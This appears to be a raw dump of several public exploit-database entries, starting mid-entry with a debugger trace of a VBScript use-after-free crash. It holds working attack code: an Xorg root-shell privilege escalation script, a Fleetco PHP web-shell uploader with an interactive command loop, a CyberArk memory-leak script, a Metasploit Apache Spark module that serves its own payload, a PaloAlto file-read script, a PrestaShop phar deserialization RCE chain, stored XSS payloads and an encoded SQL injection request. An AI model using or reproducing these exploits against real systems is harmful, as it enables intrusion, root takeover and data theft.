0b 0a34bc34 6c425c7b vbscript!CScriptRuntime::Run+0xc3
0c 0a34bd44 6c44e888 vbscript!CScriptEntryPoint::Call+0x10b
0d 0a34bda8 6c42642b vbscript!CSession::Execute+0x12b
0e 0a34bdf8 6c42bc88 vbscript!COleScript::ExecutePendingScripts+0x14f
0f 0a34be74 6c42d1b9 vbscript!COleScript::ParseScriptTextCore+0x2a4
10 0a34bea0 6d8f69d4 vbscript!COleScript::ParseScriptText+0x29
11 0a34bed8 6d85fc3b MSHTML!CActiveScriptHolder::ParseScriptText+0x51
12 0a34bf48 6d46de92 MSHTML!CScriptCollection::ParseScriptText+0x1c6
13 0a34c034 6d46da6d MSHTML!CScriptData::CommitCode+0x31e
14 0a34c0b4 6d46e5ac MSHTML!CScriptData::Execute+0x232
15 0a34c0d4 6d88f214 MSHTML!CHtmScriptParseCtx::Execute+0xed
16 0a34c128 6d2d54fd MSHTML!CHtmParseBase::Execute+0x201
17 0a34c144 6d2d4f2f MSHTML!CHtmPost::Broadcast+0x182
18 0a34c27c 6d31f3ed MSHTML!CHtmPost::Exec+0x617
19 0a34c29c 6d31f353 MSHTML!CHtmPost::Run+0x3d
1a 0a34c2b8 6d3268de MSHTML!PostManExecute+0x61
1b 0a34c2cc 6d327ae8 MSHTML!PostManResume+0x7b
1c 0a34c2fc 6d301859 MSHTML!CHtmPost::OnDwnChanCallback+0x38
1d 0a34c314 6d25d4a5 MSHTML!CDwnChan::OnMethodCall+0x2f
1e 0a34c364 6d25cfcc MSHTML!GlobalWndOnMethodCall+0x1a1
1f 0a34c3b8 762a62fa MSHTML!GlobalWndProc+0x103
20 0a34c3e4 762a6d3a user32!InternalCallWinProc+0x23
21 0a34c45c 762a77c4 user32!UserCallWinProcCheckWow+0x109
22 0a34c4bc 762a788a user32!DispatchMessageWorker+0x3b5
23 0a34c4cc 7358ab7c user32!DispatchMessageW+0xf
24 0a34f69c 735f75f8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
25 0a34f75c 76606b7c IEFRAME!LCIETab_ThreadProc+0x3e7
26 0a34f774 73473a31 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
27 0a34f7ac 75d6343d IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
28 0a34f7b8 77129832 kernel32!BaseThreadInitThunk+0xe
29 0a34f7f8 77129805 ntdll!__RtlUserThreadStart+0x70
2a 0a34f810 00000000 ntdll!_RtlUserThreadStart+0x1b

0:008> !heap -p -a 080e2fe8
    address 080e2fe8 found in
    _DPH_HEAP_ROOT @ a61000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    de00270:          80e2000             2000
    742990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    771c180c ntdll!RtlDebugFreeHeap+0x0000002f
    7717a8fe ntdll!RtlpFreeHeap+0x0000005d
    77122c45 ntdll!RtlFreeHeap+0x00000142
    749898cd msvcrt!free+0x000000cd
    6b2d62ee scrrun!VBADictNode::`scalar deleting destructor'+0x00000019
    6b2d61d2 scrrun!VBADictionary::RemoveAll+0x0000004f
    759dcc43 OLEAUT32!DispCallFunc+0x00000165
    759dcabd OLEAUT32!CTypeInfo2::Invoke+0x0000023f
    6b2d4d25 scrrun!VBADictionary::Invoke+0x0000005a
    6c449b2d vbscript!IDispatchInvoke2+0x000000bf
    6c449a5e vbscript!IDispatchInvoke+0x00000055
    6c450040 vbscript!InvokeDispatch+0x000002c0
    6c449171 vbscript!InvokeByName+0x00000048
    6c423dcd vbscript!CScriptRuntime::RunNoEH+0x00002c7a
    6c425d5e vbscript!CScriptRuntime::Run+0x000000c3
    6c425c7b vbscript!CScriptEntryPoint::Call+0x0000010b
    6c4361cc vbscript!VBScriptClass::TerminateClass+0x000000a9
    6c456cc7 vbscript!VBScriptClass::Release+0x00000030
    759c49fb OLEAUT32!VariantClear+0x000000cf
    7347329a IEShims!NS_ATLMitigation::APIHook_VariantClear+0x0000005d
    6b2d6ef5 scrrun!VBADictionary::put_Item+0x0000007e
    759dcc43 OLEAUT32!DispCallFunc+0x00000165
    759dcabd OLEAUT32!CTypeInfo2::Invoke+0x0000023f
    6b2d4d25 scrrun!VBADictionary::Invoke+0x0000005a
    6c449b2d vbscript!IDispatchInvoke2+0x000000bf
    6c449a5e vbscript!IDispatchInvoke+0x00000055
    6c450040 vbscript!InvokeDispatch+0x000002c0
    6c449171 vbscript!InvokeByName+0x00000048
    6c423ea1 vbscript!CScriptRuntime::RunNoEH+0x00002d4e
    6c425d5e vbscript!CScriptRuntime::Run+0x000000c3
    6c425c7b vbscript!CScriptEntryPoint::Call+0x0000010b
-->
            
#!/bin/sh

#
# raptor_xorgy - xorg-x11-server LPE via modulepath switch
# Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission 
# check for -modulepath and -logfile options when starting Xorg. X server 
# allows unprivileged users with the ability to log in to the system via 
# physical console to escalate their privileges and run arbitrary code under 
# root privileges (CVE-2018-14665).
#
# This exploit variant triggers the bug in the -modulepath command line switch
# to load a malicious X11 module in order to escalate privileges to root on
# vulnerable systems. This technique is less invasive than exploiting the 
# -logfile switch, however the gcc compiler must be present in order for it to
# work out of the box. Alternatively, you must use a pre-compiled malicious .so
# compatible with the target system and modify the exploit accordingly.
#
# It works very reliably on Solaris 11.4 and should work on most vulnerable
# Linux distributions (though I haven't tested it). For some reason, it fails to
# obtain uid 0 on OpenBSD... They might have an additional protection in place.
#
# Thanks to @alanc and @nushinde for discussing this alternative vector.
#
# See also:
# https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm
# https://github.com/0xdea/exploits/blob/master/solaris/raptor_solgasm
# https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html
# https://nvd.nist.gov/vuln/detail/CVE-2006-0745
#
# Usage:
# raptor@stalker:~$ chmod +x raptor_xorgy
# raptor@stalker:~$ ./raptor_xorgy
# [...]
# root@stalker:~# id
# uid=0(root) gid=0(root)
#
# Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2):
# Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5]
# Oracle Solaris 11 SPARC [untested]
# CentOS Linux 7 [untested, it should work]
# Red Hat Enterprise Linux 7 [untested]
# Ubuntu Linux 18.10 [untested]
# Ubuntu Linux 18.04 LTS [untested]
# Ubuntu Linux 16.04 LTS [untested]
# Debian GNU/Linux 9 [untested]
# [...]
#

echo "raptor_xorgy - xorg-x11-server LPE via modulepath switch"
echo "Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the payload
cat << EOF > /tmp/pwned.c
_init()
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
}
EOF
# libglx.so should be a good target, refer to Xorg logs for other candidates
gcc -fPIC -shared -nostartfiles -w /tmp/pwned.c -o /tmp/libglx.so
if [ $? -ne 0 ]; then echo; echo "error: cannot compile /tmp/pwned.c"; exit; fi

# trigger the bug
echo "Got root?"
Xorg -modulepath ",/tmp" :1
            
# Exploit Title: Fleetco Fleet Maintenance Management 1.2 - Remote Code Execution
# Date: 2018-11-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.fleetco.space
# Software Link: http://www.fleetco.space/download/215/
# Version: v1.2
# Category: Webapps
# Tested on: XAMPP for Linux 1.7.2
# Software Description : Fleetco FMM is a free, web-based vehicle fleet maintenance management
# system written in PHP with MySQL database backend.
# Description : Fleetco 1.2 and lower versions allows to upload arbitrary ".php" files which
# leads to a remote command execution on the remote server. Any authorized user is enough to exploit.
# ==================================================================
# PoC:

#!/usr/bin/python

import mechanize
import sys
import cookielib
import requests
import colorama
from colorama import Fore

print "\n[*] Fleetco Fleet Maintenance Management v1.2 - Remote Code Execution"
print "[*] Vulnerability discovered by AkkuS"
print "[*] My Blog - https://www.pentest.com.tr\n"
if (len(sys.argv) != 2):
    print "[*] Usage: poc.py <RHOST>"
    exit(0)
 
rhost = sys.argv[1]

# User Information Input
UserName = str(raw_input("User Name: "))
Password = str(raw_input("Password: "))

# Login into site
print(Fore.BLUE + "+ [*] Loging in...")
br = mechanize.Browser()
br.set_handle_robots(False)

# Cookie Jar
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)

br.open("http://"+rhost+"/login.php")
assert br.viewing_html()
br.select_form(name="form1")
br.select_form(nr=0)
br.form['username'] = UserName
br.form['password'] = Password
br.submit()

# Where are you
title = br.title()
print (Fore.YELLOW + "+ [*] You're in "+title+" section of the app now")

# Create Accident Records with multipart/form-data to RCE
rce_headers = {"Content-Type": "multipart/form-data; boundary=---------------------------10664657171782352435254769348"}
rce_data="-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Fleet_1\"\r\n\r\nCargo Carriers\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Vehicle_1\"\r\n\r\nBF1470\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Type_1\"\r\n\r\nLorry\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Date_1\"\r\n\r\n11/07/2018\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"type_Date_1\"\r\n\r\ndate2\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"type_Time_1\"\r\n\r\ntime\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Driver_1\"\r\n\r\nAntony Croos\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Details_1\"\r\n\r\ntest\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"type_Images_1\"\r\n\r\nupload2\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_Images_1\"; filename=\"RCE.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>\n\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"filename_Images_1\"\r\n\r\nRCE.php\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_EnteredBy_1\"\r\n\r\nMark Croos\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"value_SysDate_1\"\r\n\r\n2018-11-23 14:58:09\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"a\"\r\n\r\nadded\r\n-----------------------------10664657171782352435254769348\r\nContent-Disposition: form-data; name=\"rndVal\"\r\n\r\n0.8040138072331872\r\n-----------------------------10664657171782352435254769348--\r\n"

upload = requests.post("http://"+rhost+"/accidents_add.php?submit=1&", headers=rce_headers, cookies=cj, data=rce_data)
if upload.status_code == 200:
   print (Fore.GREEN + "+ [*] Shell successfully uploaded!")

# Shell validation and exploit
while True:
      shellctrl = requests.get("http://"+rhost+"/files/RCE.php")
      if shellctrl.status_code == 200:
         Command = str(raw_input(Fore.WHITE + "shell> "))
     URL = requests.get("http://"+rhost+"/files/RCE.php?cmd="+Command+"")
            print URL.text
      else:
         print (Fore.RED + "+ [X] Unable to upload or access the shell")
         sys.exit()
            
# Exploit Title: CyberArk 9.7 - Memory Disclosure
# Date: 2018-06-04
# Exploit Author: Thomas Zuk (@Freakazoidile)
# Vendor Homepage: https://www.cyberark.com/products/privileged-account-security-solution/enterprise-password-vault/
# Version: < 9.7 and < 10
# Tested on: Windows 2008, Windows 2012, Windows 7, Windows 8, Windows 10
# CVE: CVE-2018-9842

# Description: There currently exists a general advisory for the CVE with a description of exploitation and how 
# to reproduce, but without full exploit code. I have developed a working, reliable standalone Python exploit that 
# can be successfully used by modifying only the target IP address. Attached to this email submission is the working exploit code. 

#!/usr/bin/python

import socket
import os
import sys

# Exploit script for CVE-2018-9842
# Original vulnerability advisory: https://www.redteam-pentesting.de/advisories/rt-sa-2017-015
# Author: Thomas Zuk (@Freakazoidile) - Security Consultant @ Packetlabs ltd.

# Linux cmd line manual test: cat logon.bin | nc -vv IP 1858 | xxd
# paste the following bytes into a hexedited file named logon.bin:
#fffffffff7000000ffffffff3d0100005061636c695363726970745573657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020202020ffffffff0000000000000000000073000000cececece00000000000000000000000000000000303d4c6f676f6efd3131353d372e32302e39302e3238fd36393d50fd3131363d30fd3130303dfd3231373d59fd3231383d5041434c49fd3231393dfd3331373d30fd3335373d30fd32323d5061636c6953637269707455736572fd3336373d3330fd0000
#
#

ip = "10.107.32.21"
port = 1858

# Cyber Ark port 1858 is a proprietary software and protocol to perform login and administrative services.
# The below is a sample login request that is needed to receive the memory

pacli_logon = "\xff\xff\xff\xff\xf7\x00\x00\x00\xff\xff\xff\xff\x3d\x01\x00\x00\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x73\x00\x00\x00\xce\xce\xce\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x3d\x4c\x6f\x67\x6f\x6e\xfd\x31\x31\x35\x3d\x37\x2e\x32\x30\x2e\x39\x30\x2e\x32\x38\xfd\x36\x39\x3d\x50\xfd\x31\x31\x36\x3d\x30\xfd\x31\x30\x30\x3d\xfd\x32\x31\x37\x3d\x59\xfd\x32\x31\x38\x3d\x50\x41\x43\x4c\x49\xfd\x32\x31\x39\x3d\xfd\x33\x31\x37\x3d\x30\xfd\x33\x35\x37\x3d\x30\xfd\x32\x32\x3d\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\xfd\x33\x36\x37\x3d\x33\x30\xfd\x00\x00"


for iteration in range(0, 110):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(pacli_logon)

    # recieve response
    s.recv(200)
    reply = s.recv(1500)

    # write responses to file
    file = open("cyberark_memory", "a")

    file.write("received: \n")
    file.write(reply)
    file.write("\n\n\n")
    file.close()

    s.close()
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Spark Unauthenticated Command Execution',
      'Description'    => %q{
          This module exploits an unauthenticated command execution vulnerability in Apache Spark with standalone cluster mode through REST API.
          It uses the function CreateSubmissionRequest to submit a malious java class and trigger it.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'aRe00t',                            # Proof of concept
          'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
        ],
      'References'     =>
        [
          ['URL', 'https://www.jianshu.com/p/a080cb323832'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/spark/unacc']
        ],
      'Platform'       => 'java',
      'Arch'           => [ARCH_JAVA],
      'Targets'        =>
        [
          ['Automatic', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 12 2017',
      'DefaultTarget'  => 0,
      'Notes'          =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Stability'   => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION]
        }
    ))

    register_options [
      Opt::RPORT(6066),
      OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
    ]

  end

  def check
    return CheckCode::Detected if get_version
    CheckCode::Unknown
  end

  def primer
    path = service.resources.keys[0]
    binding_ip = srvhost_addr

    proto = datastore['SSL'] ? 'https' : 'http'
    payload_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{path}"

    send_payload(payload_uri)
  end

  def exploit
    fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version

    vprint_status("Generating payload ...")
    @pl = generate_payload.encoded_jar(random:true)
    print_error("Failed to generate the payload.") unless @pl

    print_status("Starting up our web service ...")
    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
  end

  def get_version
    @version = nil

    res = send_request_cgi(
      'uri'           => normalize_uri(target_uri.path),
      'method'        => 'GET'
    )

    unless res
      vprint_bad("#{peer} - No response. ")
      return false
    end

    if res.code == 401
      print_bad("#{peer} - Authentication required.")
      return false
    end

    unless res.code == 400
      return false
    end

    res_json = res.get_json_document
    @version = res_json['serverSparkVersion']

    if @version.nil?
      vprint_bad("#{peer} - Cannot parse the response, seems like it's not Spark REST API.")
      return false
    end

    true
  end

  def send_payload(payload_uri)
    rand_appname   = Rex::Text.rand_text_alpha_lower(8..16)

    data =
    {
      "action"                    => "CreateSubmissionRequest",
      "clientSparkVersion"        => @version.to_s,
      "appArgs"                   => [],
      "appResource"               => payload_uri.to_s,
      "environmentVariables"      => {"SPARK_ENV_LOADED" => "1"},
      "mainClass"                 => "#{@pl.substitutions["metasploit"]}.Payload",
      "sparkProperties"           =>
      {
        "spark.jars"              => payload_uri.to_s,
        "spark.driver.supervise"  => "false",
        "spark.app.name"          => rand_appname.to_s,
        "spark.eventLog.enabled"  => "true",
        "spark.submit.deployMode" => "cluster",
        "spark.master"            => "spark://#{rhost}:#{rport}"
      }
    }

    res = send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/v1/submissions/create"),
      'method'        => 'POST',
      'ctype'         => 'application/json;charset=UTF-8',
      'data'          => data.to_json
    )

  end

  # Handle incoming requests
  def on_request_uri(cli, request)
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    send_response(cli, @pl)
  end
end
            
# Exploit Title: PaloAlto Networks Expedition Migration Tool 1.0.106 - Information Disclosure
# Date: 2018-11-28
# Exploit Author: paragonsec @ Critical Start
# Vendor Homepage: https://live.paloaltonetworks.com/t5/Expedition-Migration-Tool/ct-p/migration_tool
# Software Link: https://paloaltonetworks.app.box.com/s/davuvo65k727nm7feuug0d783zo6fjx8
# Version: 1.0.106
# Tested on: Linux
# CVE : 2018-10142

#!/usr/bin/env python
 
import argparse
import requests
import sys
import collections

#Colors
OKRED = '\033[91m'
OKGREEN = '\033[92m'
ENDC = '\033[0m'

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument('--file', help = 'File to check (e.g /etc/passwd, /etc/shadow)')
args = parser.parse_args()

# Check to ensure at least one argument has been passed
if len(sys.argv)==1:
    parser.print_help(sys.stderr)
    sys.exit(1)

rhost = args.rhost
rfile = args.file

exploit_url = "http://" + rhost + "/API/process/checkPidStatus.php"
 
headers = [
    ('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
    ('Accept', 'application/json, text/javascript, */*; q=0.01'),
    ('Accept-Language', 'en-US,en;q=0.5'),
    ('Accept-Encoding', 'gzip, deflate'),
    ('Connection', 'close')
]
 
# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)
 
# Setting up GET body parameters
body = "pid=/../" + rfile

print(OKGREEN + "Author: " + ENDC + "paragonsec @ Critical Start (https://www.criticalstart.com)")
print(OKGREEN + "CVE: " + ENDC + "2018-10142")
print(OKGREEN + "Description: " + ENDC + "Information Disclosure in Expedition Migration Tool")
print(OKGREEN + "Vuln Versions: " + ENDC + "< 1.0.107\n")

print(OKGREEN + "[+]" + ENDC + "Running exploit...")

s = requests.Session()

req = requests.post(exploit_url, headers=headers, data=body)
if "false" not in req.text:
    print(OKGREEN + "[+]" + ENDC + "Exploit worked! " + rfile + " exists!\n")
else:
    print(OKRED + "[!]" + ENDC + "File " + rfile + " does not exist!\n")
            
# Exploit Title: Rockwell Automation Allen-Bradley PowerMonitor 1000 - Cross-Site Scripting
# Date: 2018-11-27
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.rockwellautomation.com/
# Version: 1408-EM3A-ENT B
# Tested on: It is a proprietary devices: https://ab.rockwellautomation.com/zh/Energy-Monitoring/1408-PowerMonitor-1000
# CVE : N/A

# 1. Description:
# In Rockwell Automation Allen-Bradley PowerMonitor 1000 web page,
# user can add a new user by access the /Security/Security.shtm.
# When users add a new user, the new user’s account will in the post data.
# Attackers can inject malicious XSS code in user’s account parameter of post data.
# The user’s account parameter will be stored in database, so that cause a stored XSS vulnerability.

# 2. Proof of Concept:
# Browse http://<Your Modem IP>/Security/Security.shtm
# In page Security.shtm, add a new user
# Send this post data:

/Security/cgi-bin/security|0|0|<script>alert(123)</script>
            
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19913


# A Stored Cross-site scripting (XSS) was discovered in DomainMod application versions from v4.09.03 to v4.11.01
After logging into the Domainmod application panel, browse to the /assets/add/registrar-accounts.php page and inject a javascript XSS
payload in UserName, Reseller ID & Notes fields 
"><img src=x onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/86
            
<?php
/**
 * 
 * PrestaShop 1.6.x <= 1.6.1.23 & 1.7.x <= 1.7.4.4 - Back Office Remote Code Execution
 * See https://github.com/farisv/PrestaShop-CVE-2018-19126 for explanation.
 * 
 * Chaining multiple vulnerabilities to trigger deserialization via phar.
 *
 * Date:
 *   December 1st, 2018
 *
 * Author:
 *   farisv
 *
 * Vendor Homepage:
 *   https://www.prestashop.com/
 *
 * Vulnerable Package Link:
 *   https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip
 *
 * CVE :
 *   - CVE-2018-19126
 *   - CVE-2018-19125
 * 
 * Prerequisite:
 *   - PrestaShop 1.6.x before 1.6.1.23 or 1.7.x before 1.7.4.4.
 *   - Back Office account (logistician, translator, salesman, etc.).
 * 
 * Usage:
 *   php exploit.php back-office-url email password func param
 * 
 * Example:
 *   php exploit.php http://127.0.0.1/admin-dev/ salesman@shop.com 54l35m4n123
 *   system 'cat /etc/passwd'
 * 
 * Note:
 * Note that the upload directory will be renamed and you can't upload the
 * malicious phar file again if the folder name is not reverted. You might want
 * to execute reverse shell to gain persistence RCE or include the command to
 * rename the folder again in your payload (you need to know the path to the
 * upload directory).
 * 
 * FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES.
 * THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.
 * 
 */

namespace PrestaShopRCE {

    class Exploit {
        private $url;
        private $email;
        private $passwd;
        private $cmd;
        private $func;
        private $param;

        public function __construct($url, $email, $passwd, $func, $param) {
            $this->url = $url;
            $this->email = $email;
            $this->passwd = $passwd;
            $this->func = $func;
            $this->param = $param;
        }

        private function post($path, $data, $cookie) {
            $curl_handle = curl_init();
            
            $options = array(
                CURLOPT_URL => $this->url . $path,
                CURLOPT_HEADER => true,
                CURLOPT_POST => 1,
                CURLOPT_POSTFIELDS => $data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_COOKIE => $cookie
            );
            
            curl_setopt_array($curl_handle, $options);
            $raw = curl_exec($curl_handle);
            curl_close($curl_handle);

            return $raw;
        }

        private function fetch_cookie($raw) {
            $header = "Set-Cookie: ";
            $cookie_header_start = strpos($raw, $header);
            $sliced_part = substr($raw, $cookie_header_start + strlen($header));
            $cookie = substr($sliced_part, 0, strpos($sliced_part, ';'));
            return $cookie;
        }

        public function run() {

            // Login and get PrestaShop cookie
            $data = array(
                'email' => $this->email,
                'passwd' => $this->passwd,
                'submitLogin' => '1',
                'controller' => 'AdminLogin',
                'ajax' => '1'
            );
            $cookie = "";
            $raw = $this->post('/', $data, $cookie);
            $prestashop_cookie = $this->fetch_cookie($raw);

            // Get FileManager cookie
            $data = array();
            $cookie = $prestashop_cookie;
            $raw = $this->post('/filemanager/dialog.php', $data, $cookie);
            $filemanager_cookie = $this->fetch_cookie($raw);

            // Craft deserialization gadget
            $gadget = new \Monolog\Handler\SyslogUdpHandler(
                new \Monolog\Handler\BufferHandler(
                    ['current', $this->func],
                    [$this->param, 'level' => null]
                )
            );

            // Craft malicious phar file
            $phar = new \Phar('phar.phar');
            $phar->startBuffering();
            $phar->addFromString('test', 'test');
            $phar->setStub('<?php __HALT_COMPILER(); ? >');
            $phar->setMetadata($gadget);
            $phar->stopBuffering();

            // Change the extension
            rename('phar.phar', 'phar.pdf');

            // Cookie for next requests
            $cookie = "$prestashop_cookie; $filemanager_cookie";

            // Upload phar.pdf
            $curl_file = new \CurlFile('phar.pdf', 'application/pdf', 'phar.pdf');
            $data = array(
                'file' => $curl_file
            );
            $raw = $this->post('/filemanager/upload.php', $data, $cookie);

            // Rename image directory to bypass realpath() check
            $data = array(
                'name' => 'renamed'
            );
            $raw = $this->post(
                '/filemanager/execute.php?action=rename_folder',
                $data,
                $cookie
            );

            // Trigger deserialization
            // The '/img/cms/' substring is important to bypass string check
            $data = array(
                'path' => 'phar://../../img/renamed/phar.pdf/img/cms/'
            );
            $raw = $this->post(
                '/filemanager/ajax_calls.php?action=image_size',
                $data,
                $cookie
            );

            // Display the raw result
            print $raw;

        }
    }

}

/*
 * Based on
 * https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/
*/
namespace Monolog\Handler {

    class SyslogUdpHandler {
        protected $socket;

        function __construct($param) {
            $this->socket = $param;
        }
    }

    class BufferHandler {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        protected $level = null;
        protected $initialized = true;
        protected $bufferLimit = -1;
        protected $processors;

        function __construct($methods, $command) {
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = clone $this;
        }
    }

}

namespace {

    if (count($argv) != 6) {
        $hint = "Usage:\n  php $argv[0] back-office-url email password func param\n\n";
        $hint .= "Example:\n  php $argv[0] http://127.0.0.1/admin-dev/ ";
        $hint .= "salesman@shop.com 54l35m4n123 system 'uname -a'";
        die($hint);
    }

    if (!extension_loaded('curl')) {
        die('Need php-curl');
    }

    $url = $argv[1];
    $email = $argv[2];
    $passwd = $argv[3];
    $func = $argv[4];
    $param = $argv[5];

    $exploit = new PrestaShopRCE\Exploit($url, $email, $passwd, $func, $param);
    $exploit->run();

}
            
# Exploit Title: Alumni Tracer SMS Notification - SQL Injection / Cross-Site Request Forgery (Add/Update Admin)
# Dork: N/A
# Date: 2018-12-06
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/php/12825/alumni-tracer-sms-notification-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/alumnitracer.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/index.php?q=blog&id=[SQL]
# http://localhost/[PATH]/index.php?q=alumni&id=201809&sy=[SQL]
# http://localhost/[PATH]/index.php?q=alumni POST / batch=[SQL]&COURSE=[SQL]&submit=
# http://localhost/[PATH]/index.php?q=advancesearch POST / SEARCH=[SQL]&batch=[SQL]&COURSE=[SQL]&STATUS=[SQL]&submit=
# 

#SQL Injection
GET /[PATH]/index.php?q=blog&id=-201800056%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%28%53%45%4c%45%43%54%28%40%78%29%46%52%4f%4d%28%53%45%4c%45%43%54%28%40%78%3a%3d%30%78%30%30%29%2c%28%40%4e%52%3a%3d%30%29%2c%28%53%45%4c%45%43%54%28%30%29%46%52%4f%4d%28%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%29%57%48%45%52%45(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=%43%4f%4e%43%41%54(@x,%4c%50%41%44(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))%29%29%78%29%2c%34%2c%35%2c%36%2c%37%2c%38%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=hasj51emnq9caak0pf8h8htmm6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 05 Dec 2018 19:20:56 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
